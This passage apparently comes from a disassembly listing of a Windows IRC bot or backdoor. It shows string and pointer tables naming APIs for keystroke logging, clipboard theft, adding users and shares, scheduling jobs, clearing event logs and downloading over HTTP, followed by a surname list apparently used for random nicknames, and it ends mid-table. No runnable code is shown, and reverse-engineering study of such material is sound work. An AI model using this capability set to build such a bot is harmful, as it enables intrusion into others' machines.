sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 10h unk_42D330 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4C0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D4F0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D520 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D544 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D58C dd 0 ; DATA XREF: sub_40B08D+7o off_42D590 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D5F8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D604 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman 